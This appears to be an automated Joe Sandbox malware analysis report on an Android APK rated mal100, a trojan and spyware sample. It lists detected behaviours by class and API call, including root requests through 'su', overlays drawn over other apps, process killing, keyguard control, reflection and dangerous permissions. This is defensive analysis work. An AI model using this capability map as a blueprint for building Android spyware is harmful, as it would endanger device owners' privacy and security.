Loading ...

Play interactive tourEdit tour

Analysis Report wdeQEksXgm

Overview

General Information

Joe Sandbox Version:26.0.0
Analysis ID:84847
Start date:16.09.2019
Start time:09:56:56
Joe Sandbox Product:Cloud
Overall analysis duration:0h 9m 7s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:wdeQEksXgm
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android 5.1 Native (Motorola Moto G 3rd Generation)
APK Instrumentation enabled:true
Detection:MAL
Classification:mal100.troj.spyw.expl.evad.and@0/254@1/0
Warnings:
Show All
  • Excluded IPs from analysis (whitelisted): 216.58.215.234, 172.217.168.42, 172.217.168.74
  • Excluded domains from analysis (whitelisted): cloudconfig.googleapis.com, googleapis.l.google.com
  • No interacted views
  • Not all executed log events are in report (maximum 10 identical API calls)
  • Not all non-executed APIs are in report
  • Report size exceeded maximum capacity and may have missing disassembly code.
  • Report size exceeded maximum capacity and may have missing dynamic data code.

Detection

StrategyScoreRangeReportingWhitelistedThreatDetection
Threshold1000 - 100Report FP / FNfalse
Nicro
malicious

Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Mitre Att&ck Matrix

Signature Overview

Click to jump to signature section


Privilege Escalation:

barindex
Requests root accessShow sources
Source: com.omg.event.utils.RootContext$ScriptRunner;->run:38API Call: java.lang.Runtime.exec ("su")
Source: Lcom/omgSdk/outport/GetParamsUtil;->f()ZMethod string: "/system/bin/su"
Source: Lcom/omgSdk/outport/GetParamsUtil;->f()ZMethod string: "/system/xbin/su"
Source: Lcom/omg/event/utils/RootContext;->getInstance()Lcom/omg/event/utils/RootContext;Method string: "/system/xbin/su"
Source: Lcom/omg/event/utils/RootContext;->getInstance()Lcom/omg/event/utils/RootContext;Method string: "/system/bin/su"

Spreading:

barindex
Has permission to change the WIFI configuration including connecting and disconnectingShow sources
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Accesses external storage locationShow sources
Source: b.a.m;->c:20API Call: android.os.Environment.getExternalStorageState
Source: b.a.m;->c:23API Call: android.os.Environment.getExternalStorageDirectory
Source: com.omg.tool.builds.FileBuild;-><init>:3API Call: android.os.Environment.getExternalStorageDirectory
Source: sdk.nicro.lu.l;->a:46API Call: android.os.Environment.getExternalStorageState
Source: sdk.nicro.lu.l;->b:62API Call: android.os.Environment.getExternalStorageDirectory
Source: sdk.nicro.lu.l;->c:100API Call: android.os.Environment.getExternalStorageDirectory
Source: sdk.nicro.lu.l;->c:105API Call: android.os.Environment.getExternalStorageDirectory
Source: sdk.nicro.lu.s;->c:39API Call: android.os.Environment.getExternalStorageDirectory
Source: sdk.nicro.lu.s;->a:68API Call: android.os.Environment.getExternalStorageDirectory
Source: com.core.model.h;->a:6API Call: android.os.Environment.getExternalStorageDirectory
Source: com.omgSdk.outport.LiveApplication;->fastCoupleIn:45API Call: android.os.Environment.getExternalStorageDirectory
Source: com.omg.tool.StorageManager;->a:30API Call: android.os.Environment.getExternalStorageDirectory
Source: com.omg.tool.StorageManager;->createFile:45API Call: android.os.Environment.getExternalStorageDirectory
Source: com.omg.tool.StorageManager;->createWriteFile:79API Call: android.os.Environment.getExternalStorageDirectory
Source: com.omg.tool.StorageManager;->validExternal:108API Call: android.os.Environment.getExternalStorageState
Source: com.omg.tool.URLManager;->addFromSd:24API Call: android.os.Environment.getExternalStorageState
Source: com.omg.tool.URLManager;->addFromSd:30API Call: android.os.Environment.getExternalStorageDirectory

Networking:

barindex
Checks an internet connection is availableShow sources
Source: com.omg.base.terminal.OmgTerminalinfo;->c:49API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.omg.tool.net.NetworkCheck;->isNetworkConnected:14API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.omg.tool.net.NetworkCheck;->isNetworkConnected:15API Call: android.net.NetworkInfo.isAvailable
Source: com.omg.tool.net.NetworkCheck;->isNetworkConnected:16API Call: android.net.NetworkInfo.isConnected
Source: b.a.at;->h:193API Call: android.net.ConnectivityManager.getNetworkInfo
Source: b.a.at;->h:194API Call: android.net.NetworkInfo.getState
Source: b.a.at;->h:197API Call: android.net.ConnectivityManager.getNetworkInfo
Source: b.a.at;->h:198API Call: android.net.NetworkInfo.getState
Source: b.a.at;->j:209API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: b.a.at;->j:210API Call: android.net.NetworkInfo.isConnectedOrConnecting
Source: b.a.at;->y:336API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: b.a.w;->c:137API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.omgSdk.andoclib.d;->a:7API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.omgSdk.commen.d;->a:153API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.omgSdk.commen.d;->a:154API Call: android.net.NetworkInfo.isConnected
Source: com.omgSdk.commen.d;->a:155API Call: android.net.NetworkInfo.getState
Source: com.omg.base.phone.factoryimpl.PhoneController;->b:32API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.omg.base.phone.factoryimpl.PhoneController;->b:33API Call: android.net.NetworkInfo.getState
Source: com.omg.base.phone.factoryimpl.PhoneController;->c:37API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.omg.base.phone.factoryimpl.PhoneController;->c:38API Call: android.net.NetworkInfo.getState
Source: sdk.nicro.lu.k;->a:8API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: sdk.nicro.lu.k;->a:9API Call: android.net.NetworkInfo.isAvailable
Source: sdk.nicro.lu.k;->a:10API Call: android.net.NetworkInfo.isConnected
Source: com.omg.tool.net.NetProxyManager;->getProxy:8API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.omg.tool.net.NetProxyManager;->getProxy:9API Call: android.net.NetworkInfo.isAvailable
Source: com.omg.tool.net.NetworkCheck;->getConnectedType:4API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.omg.tool.net.NetworkCheck;->getConnectedType:5API Call: android.net.NetworkInfo.isAvailable
Source: com.omg.tool.net.NetworkCheck;->isMobileConnected:9API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.omg.tool.net.NetworkCheck;->isMobileConnected:10API Call: android.net.NetworkInfo.isAvailable
Source: com.omg.tool.net.NetworkCheck;->isMobileConnected:11API Call: android.net.NetworkInfo.isConnected
Source: com.omg.tool.net.NetworkCheck;->isWifiConnected:19API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.omg.tool.net.NetworkCheck;->isWifiConnected:20API Call: android.net.NetworkInfo.isAvailable
Source: com.omg.tool.net.NetworkCheck;->isWifiConnected:21API Call: android.net.NetworkInfo.isConnected
Loads a webpage with cache disabledShow sources
Source: com.omg.event.EventPlayController;->setSettings:26API Call: android.webkit.WebSettings.setCacheMode
Opens an internet connectionShow sources
Source: b.a.n;->b:27API Call: java.net.URL.openConnection (not executed)
Source: b.a.w;->a:47API Call: java.net.URL.openConnection (not executed)
Source: b.a.w;->a:95API Call: java.net.URL.openConnection (not executed)
Source: com.omgSdk.a.c;->b:7API Call: java.net.URL.openConnection (not executed)
Source: com.omgSdk.a.c;->c:98API Call: java.net.URL.openConnection (not executed)
Source: sdk.nicro.lu.a.a$a;->b:3API Call: java.net.URL.openConnection (not executed)
Source: a.a.b.b;->a:10API Call: java.net.URL.openConnection (not executed)
Source: a.a.b.b;->a:28API Call: java.net.URL.openConnection (not executed)
Source: com.omg.base.network.connection.HTTPConnection$Http;->b:4API Call: java.net.URL.openConnection (not executed)
Source: sdk.nicro.lu.a;->a:27API Call: java.net.URL.openConnection (not executed)
Source: sdk.nicro.lu.a;->a:28API Call: java.net.URL.openConnection (not executed)
Source: sdk.nicro.lu.e$b;->b:9API Call: java.net.URL.openConnection (not executed)
Source: com.omg.tool.net.WebClient$HttpBackgroudTask;->a:6API Call: java.net.URL.openConnection (not executed)
Source: com.omg.tool.net.WebClient$HttpBackgroudTask;->a:7API Call: java.net.URL.openConnection (not executed)
Connects to IPs without corresponding DNS lookupsShow sources
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Found strings which match to known social media urlsShow sources
Source: androidString found in binary or memory: com.facebook.katana equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: facebook equals www.facebook.com (Facebook)
Monitors network connection stateShow sources
Source: com.omg.services.download.DownLoadClientService;->onCreate:117API Call: android.content.IntentFilter.addAction android.net.conn.CONNECTIVITY_CHANGE
Source: com.omgSdk.outport.BackgroundService;->a:151API Call: android.content.IntentFilter.addAction android.net.conn.CONNECTIVITY_CHANGE
Source: com.omgSdk.outport.BackgroundService;->onCreate:267API Call: android.content.IntentFilter.addAction android.net.conn.CONNECTIVITY_CHANGE
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: api.niumobi.com
Urls found in memory or binary dataShow sources
Source: androidString found in binary or memory: http://alog.umeng.com/app_logs
Source: androidString found in binary or memory: http://alog.umengcloud.com/app_logs
Source: abc_tint_switch_thumb.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto
Source: abc_action_menu_layout.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto((android.support.v7.widget.ActionMenuView
Source: abc_screen_toolbar.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto00android.support.v7.widget.ActionBarOverlayLayout
Source: abc_tint_switch_thumb.xml, abc_slide_in_top.xml, abc_list_menu_item_icon.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: abc_expanded_menu_layout.xmlString found in binary or memory: http://schemas.android.com/apk/res/android--android.support.v7.view.menu.ExpandedMenuView
Source: abc_list_menu_item_layout.xmlString found in binary or memory: http://schemas.android.com/apk/res/android--android.support.v7.view.menu.ListMenuItemView
Source: abc_screen_simple_overlay_action_mode.xmlString found in binary or memory: http://schemas.android.com/apk/res/android//android.support.v7.widget.FitWindowsFrameLayout
Source: abc_dialog_title_material.xmlString found in binary or memory: http://schemas.android.com/apk/res/android00android.support.v7.widget.FitWindowsLinearLayout
Source: abc_screen_simple.xmlString found in binary or memory: http://schemas.android.com/apk/res/android00android.support.v7.widget.FitWindowsLinearLayout((androi
Source: androidString found in binary or memory: http://xmlpull.org/v1/doc/features.html#indent-output
Source: androidString found in binary or memory: https://cmnsguider.yunos.com:443/genDeviceToken
Source: androidString found in binary or memory: https://uop.umeng.com
Uses HTTP for connecting to the internetShow sources
Source: b.a.w;->a:173API Call: org.apache.http.impl.client.DefaultHttpClient.execute
Source: sdk.nicro.lu.a;->a:102API Call: java.net.HttpURLConnection.connect
Uses HTTPSShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 44275
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 33038
Source: unknownNetwork traffic detected: HTTP traffic on port 44275 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 33038 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Has permission to take photosShow sources
Source: submitted apkRequest permission: android.permission.CAMERA

E-Banking Fraud:

barindex
Has functionalty to add an overlay to other appsShow sources
Source: com.omgSdk.andoclib.b;->a:28API Call: WindowManager.addView
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
Loads a webpage with cache disabledShow sources
Source: com.omg.event.EventPlayController;->setSettings:26API Call: android.webkit.WebSettings.setCacheMode
May query for the most recent running application (usually for UI overlaying)Show sources
Source: com.omg.android.tool.AppRunningChecker$ActivityAppRunningChecker;->getRunningAppgetRunningTasks and getPackageName invocations in same method: com.omg.android.tool.AppRunningChecker$ActivityAppRunningChecker;->getRunningApp:8, com.omg.android.tool.AppRunningChecker$ActivityAppRunningChecker;->getRunningApp:12
Source: com.omg.android.tool.AppRunningChecker$ActivityAppRunningChecker;->getRunningAppgetRunningTasks and getPackageName invocations in same method: com.omg.android.tool.AppRunningChecker$ActivityAppRunningChecker;->getRunningApp:8, com.omg.android.tool.AppRunningChecker$ActivityAppRunningChecker;->getRunningApp:12

Spam, unwanted Advertisements and Ransom Demands:

barindex
Blocks or controls phone keysShow sources
Source: com.core.model.a;->d:64API Call: android.app.KeyguardManager.newKeyguardLock
May use Google Cloud Messaging (GCM) or Google's Cloud to Device Messaging (C2DM) servicesShow sources
Source: submitted apkRequest permission: com.yonder.robi.permission.C2D_MESSAGE

Operating System Destruction:

barindex
Kills background processesShow sources
Source: com.omgSdk.andoclib.AutoAccessibilityService;->onAccessibilityEvent:499API Call: android.app.ActivityManager.killBackgroundProcesses
Source: com.omgSdk.andoclib.AutoAccessibilityService;->onAccessibilityEvent:507API Call: android.app.ActivityManager.killBackgroundProcesses
Lists and deletes files in the same contextShow sources
Source: a.a.b.b;->a:90API Calls in same method context: File.listFiles,File.delete
Source: b.a.bb$a;->a:24API Calls in same method context: File.listFiles,File.delete
Source: com.cultivate.fairly.Incredible;->celebrate:29API Calls in same method context: File.listFiles,File.delete

Change of System Appearance:

barindex
May access the Android keyguard (lock screen)Show sources
Source: AndroidManifest.xmlString found in binary or memory: android.permission.GET_TASKS&android.permission.SYSTEM_ALERT_WINDOW android.permission.SET_WALLPAPER$android.permission.EXPAND_STATUS_BAR'android.permission.CHANGE_NETWORK_STATE#android.permission.DISABLE_KEYGUARD"android.permission.READ_SYNC_STATS(android.permission.AUTHENTICATE_ACCOUNTS'dianxin.permission.ACCESS_LAUNCHER_DATA&android.permission.SET_WALLPAPER_HINTS)android.permission.ACCESS_BLUETOOTH_SHARE,android.permission.MOUNT_UNMOUNT_FILESYSTEMS(android.permission.MODIFY_AUDIO_SETTINGS#com.goibibo.permission.MAPS_RECEIVE&android.permission.RUN_INSTRUMENTATION!android.permission.WRITE_CONTACTS"android.permission.MANAGE_ACCOUNTS
Source: androidString found in binary or memory: keyguard
Acquires a wake lockShow sources
Source: com.google.apps.tiktok.concurrent.AndroidFutures;->a:9API Call: android.os.PowerManager$WakeLock.acquire
Source: com.core.model.a;->d:59API Call: android.os.PowerManager$WakeLock.acquire
Sets a repeating alarmShow sources
Source: com.omgSdk.outport.LiveService;->a:8API Call: android.app.AlarmManager.setRepeating
Source: com.omg.services.CommonReceiver;->startAlarm:72API Call: android.app.AlarmManager.setRepeating

System Summary:

barindex
Tries to change file permissions on the native system using chmodShow sources
Source: com.omg.event.utils.RootContext$ScriptRunner;->run:38API Call: java.lang.Runtime.exec
Executes native commandsShow sources
Source: com.inasmuch.trample.Fly;->deceive:19API Call: java.lang.ProcessBuilder.start
Source: com.omgSdk.outport.GetParamsUtil;->w:6API Call: java.lang.ProcessBuilder.start
Source: com.omgSdk.commen.b;->a:80API Call: java.lang.Runtime.exec ("ps")
Source: com.omgSdk.outport.AntiEmulator;->c:51API Call: java.lang.ProcessBuilder.start
Source: sdk.nicro.lu.ps.b;->c:88API Call: java.lang.ProcessBuilder.start
Source: com.lody.virtual.helper.utils.FileUtils;->chmod:36API Call: java.lang.Runtime.exec
Source: com.lody.virtual.helper.utils.FileUtils;->createSymlink:64API Call: java.lang.Runtime.exec
Source: com.omg.event.utils.CmdInvoke;->invoke:37API Call: java.lang.Runtime.exec
Source: com.omg.event.utils.CmdInvoke;->invokeFor:55API Call: java.lang.Runtime.exec
Source: com.omg.event.utils.CmdInvoke;->invokeFor:61API Call: java.lang.Runtime.exec
Source: com.omg.event.utils.RootContext$ScriptRunner;->run:15API Call: java.lang.Runtime.exec
Source: com.omg.event.utils.RootContext$ScriptRunner;->run:38API Call: java.lang.Runtime.exec ("su")
Source: com.omg.event.utils.RootContext;->init:28API Call: java.lang.Runtime.exec
Kills/terminates processesShow sources
Source: com.lody.virtual.server.am.VActivityManagerService;->attachClient:21API Call: android.os.Process.killProcess
Source: com.lody.virtual.server.am.VActivityManagerService;->attachClient:24API Call: android.os.Process.killProcess
Source: com.lody.virtual.server.am.VActivityManagerService;->attachClient:26API Call: android.os.Process.killProcess
Source: com.lody.virtual.server.am.VActivityManagerService;->killAllApps:365API Call: android.os.Process.killProcess
Source: com.lody.virtual.server.am.VActivityManagerService;->killAppByPkg:375API Call: android.os.Process.killProcess
Source: com.lody.virtual.server.am.VActivityManagerService;->killApplicationProcess:379API Call: android.os.Process.killProcess
Source: com.lody.virtual.server.am.VActivityManagerService;->stopUser:515API Call: android.os.Process.killProcess
Source: com.omg.tool.builds.ExceptionUtils$2$1;->run:3API Call: android.os.Process.killProcess
Source: com.lody.virtual.client.VClientImpl;->bindApplicationNoCheck:22API Call: android.os.Process.killProcess
Source: com.lody.virtual.client.env.VirtualRuntime;->crash:8API Call: android.os.Process.killProcess
Source: com.omg.event.webjs.JsPlayer$2;->kill:8API Call: android.os.Process.killProcess
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.AUTHENTICATE_ACCOUNTS
Source: submitted apkRequest permission: android.permission.BLUETOOTH
Source: submitted apkRequest permission: android.permission.BLUETOOTH_ADMIN
Source: submitted apkRequest permission: android.permission.CAMERA
Source: submitted apkRequest permission: android.permission.CHANGE_NETWORK_STATE
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Source: submitted apkRequest permission: android.permission.GET_TASKS
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.MANAGE_ACCOUNTS
Source: submitted apkRequest permission: android.permission.MODIFY_AUDIO_SETTINGS
Source: submitted apkRequest permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS
Source: submitted apkRequest permission: android.permission.PERSISTENT_ACTIVITY
Source: submitted apkRequest permission: android.permission.READ_LOGS
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: submitted apkRequest permission: android.permission.REORDER_TASKS
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Source: submitted apkRequest permission: android.permission.WAKE_LOCK
Source: submitted apkRequest permission: android.permission.WRITE_CONTACTS
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Source: submitted apkRequest permission: android.permission.WRITE_SETTINGS
Source: submitted apkRequest permission: android.permission.WRITE_SYNC_SETTINGS
Classification labelShow sources
Source: classification engineClassification label: mal100.troj.spyw.expl.evad.and@0/254@1/0
Creates SQLiteDatabase tableShow sources
Source: com.omgSdk.a.a;->onUpgrade:131API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: com.omgSdk.a.a;->onCreate:110API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: b.a.az;->c:38API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: b.a.az;->a:13API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: b.a.az;->b:30API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: b.a.cu;->a:13API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: b.a.cu;->b:26API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: b.a.cu;->c:29API Call: android.database.sqlite.SQLiteDatabase.execSQL
Loads native librariesShow sources
Source: com.taobao.android.dex.interpret.ARTUtils;->init:8API Call: java.lang.System.loadLibrary ("dexinterpret")
Source: com.taobao.android.runtime.DalvikUtils;->init:30API Call: java.lang.System.loadLibrary ("dalvikhack")
Reads shares settingsShow sources
Source: b.a.ac;->a:85API Call: android.content.SharedPreferences.getString
Source: b.a.ad;->g:59API Call: android.content.SharedPreferences.getString
Source: b.a.ad;->a:63API Call: android.content.SharedPreferences.getString
Source: b.a.ad;->c:141API Call: android.content.SharedPreferences.getString
Source: b.a.ad;->c:162API Call: android.content.SharedPreferences.getString
Source: b.a.ad;->e:198API Call: android.content.SharedPreferences.getString
Source: b.a.b;->a:11API Call: android.content.SharedPreferences.getString
Source: b.a.b;->a:34API Call: android.content.SharedPreferences.getString
Source: b.a.b;->b:43API Call: android.content.SharedPreferences.getString
Source: b.a.bb;->a:59API Call: android.content.SharedPreferences.getString
Source: b.a.bb;->a:61API Call: android.content.SharedPreferences.getString
Source: b.a.bb;->b:65API Call: android.content.SharedPreferences.getString
Source: b.a.bb;->c:69API Call: android.content.SharedPreferences.getString
Source: b.a.co;->h:45API Call: android.content.SharedPreferences.getBoolean
Source: b.a.cx;->b:146API Call: android.content.SharedPreferences.getString
Source: b.a.cx;->b:181API Call: android.content.SharedPreferences.getString
Source: b.a.e$a;->b:26API Call: android.content.SharedPreferences.getString
Source: b.a.l;->a:8API Call: android.content.SharedPreferences.getString
Source: b.a.n;->a:99API Call: android.content.SharedPreferences.getString
Source: b.a.q;->a:158API Call: android.content.SharedPreferences.getString
Source: b.a.q;->a:254API Call: android.content.SharedPreferences.getString
Source: b.a.t;->a:36API Call: android.content.SharedPreferences.getString
Source: com.omgSdk.andoclib.h;->b:38API Call: android.content.SharedPreferences.getBoolean
Source: com.omgSdk.andoclib.h;->c:47API Call: android.content.SharedPreferences.getString
Source: com.omg.base.SdkBasic$ThirdBaseSdkBasic;->get:4API Call: android.content.SharedPreferences.getString
Source: com.omg.tool.data.DataEvent$LockDataEvent$LockShare;->getEventList:76API Call: android.content.SharedPreferences.getString
Source: com.core.model.k;->b:23API Call: android.content.SharedPreferences.getBoolean
Source: com.core.model.k;->c:27API Call: android.content.SharedPreferences.getString
Source: com.omg.plugin.PluginList$SharedPreferencesPluginList;->get:16API Call: android.content.SharedPreferences.getString
Source: com.taobao.android.runtime.AndroidRuntime;->init:46API Call: android.content.SharedPreferences.getBoolean
Source: com.taobao.android.runtime.AndroidRuntime;->init:56API Call: android.content.SharedPreferences.getString
Source: com.taobao.android.runtime.AndroidRuntime;->init:59API Call: android.content.SharedPreferences.getString
Registers a Sensor listener (to get data about accelerometer, gyrometer etc.)Show sources
Source: com.omgSdk.andoclib.g;->a:25API Call: android.hardware.SensorManager.registerListener
Source: com.omgSdk.andoclib.g;->a:32API Call: android.hardware.SensorManager.registerListener

Data Obfuscation:

barindex
Obfuscates method namesShow sources
Source: wdeQEksXgmTotal valid method names: 62%
Uses reflectionShow sources
Source: com.inasmuch.trample.Fly;->mountainous:58API Call: Real call: null
Source: com.inasmuch.trample.Fly;->mountainous:58API Call: Real call: public static synchronized android.bluetooth.BluetoothAdapter android.bluetooth.BluetoothAdapter.getDefaultAdapter()
Source: com.inasmuch.trample.Fly;->mountainous:58API Call: Real call: android.bluetooth.BluetoothAdapter@3f034e42
Source: com.inasmuch.trample.Fly;->mountainous:58API Call: Real call: public java.lang.String android.bluetooth.BluetoothAdapter.getName()
Source: com.inasmuch.trample.Fly;->mountainous:58API Call: Real call: com.wag.CongratulationLC@a89c243
Source: com.inasmuch.trample.Fly;->mountainous:58API Call: Real call: public abstract java.lang.Object android.content.Context.getSystemService(java.lang.String)
Source: com.inasmuch.trample.Fly;->mountainous:58API Call: Real call: android.hardware.SystemSensorManager@399f11f9
Source: com.inasmuch.trample.Fly;->mountainous:58API Call: Real call: public android.hardware.Sensor android.hardware.SensorManager.getDefaultSensor(int)
Source: com.cultivate.fairly.Incredible;->awful:21API Call: Real call: public static java.lang.String android.app.ActivityThread.currentProcessName()
Source: sdk.nicro.lu.q$a;->a:3API Call: Real call: private java.lang.ClassLoader java.lang.ClassLoader.parent
Source: com.omgSdk.outport.GetParamsUtil;->p:258API Call: Real call: null
Source: com.omgSdk.outport.GetParamsUtil;->p:258API Call: Real call: public static java.lang.String android.os.SystemProperties.get(java.lang.String)
Source: com.omgSdk.outport.GetParamsUtil;->m:212API Call: Real call: android.os.Build@26af99b7
Source: com.omgSdk.outport.GetParamsUtil;->m:212API Call: Real call: private static java.lang.String android.os.Build.getString(java.lang.String)
Source: com.sdk.entry.LoadVSdk;->getCurrentProcessName:8API Call: Real call: null
Source: com.sdk.entry.LoadVSdk;->getCurrentProcessName:8API Call: Real call: public static java.lang.String android.app.ActivityThread.currentProcessName()
Source: com.sdk.entry.LoadVSdk;->loaderPath:41API Call: Real call: android.content.res.AssetManager@51fd308
Source: com.sdk.entry.LoadVSdk;->loaderPath:41API Call: Real call: public final int android.content.res.AssetManager.addAssetPath(java.lang.String)
Source: a.a.a.b;->a:4API Call: java.lang.reflect.Method.invoke
Source: a.a.a.b;->a:7API Call: java.lang.reflect.Method.invoke
Source: b.a.ad;->a:97API Call: java.lang.reflect.Method.invoke
Source: b.a.ad;->a:100API Call: java.lang.reflect.Method.invoke
Source: b.a.at;->a:94API Call: java.lang.reflect.Method.invoke
Source: b.a.m;->a:32API Call: java.lang.reflect.Method.invoke
Source: b.a.n;->a:7API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.account.AccountManagerStub$addSharedAccountAsUser;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.account.AccountManagerStub$copyAccountToUser;->call:5API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.account.AccountManagerStub$getSharedAccountsAsUser;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.account.AccountManagerStub$removeSharedAccountAsUser;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.account.AccountManagerStub$renameSharedAccountAsUser;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.account.AccountManagerStub$updateAppPermission;->call:5API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.ActivityManagerStub$3;->call:2API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.ActivityManagerStub$4;->call:2API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$AddPackageDependency;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$BindService;->call:7API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$BindService;->call:19API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$BroadcastIntent;->call:79API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$CheckGrantUriPermission;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$CheckPermission;->call:9API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$CrashApplication;->call:2API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$GetContentProvider;->call:13API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$GetContentProvider;->call:31API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$GetIntentSender;->call:45API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$GetPackageAskScreenCompat;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$GetPersistedUriPermissions;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$GetRunningAppProcesses;->call:2API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$GetTasks;->call:2API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$GrantUriPermissionFromOwner;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$HandleIncomingUser;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$KillApplicationProcess;->call:6API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$PublishContentProviders;->call:2API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$PublishService;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$RegisterReceiver;->call:21API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$ServiceDoneExecuting;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$SetPackageAskScreenCompat;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$SetTaskDescription;->call:19API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$StartActivity;->call:29API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$StartActivity;->call:70API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$StartActivity;->call:102API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$StartService;->call:7API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$StartService;->call:25API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$StopService;->call:19API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$StopServiceToken;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$StopServiceToken;->call:9API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$UnbindService;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$UnstableProviderDied;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$UpdateDeviceOwner;->call:3API Call: java.lang.reflect.Method.invoke
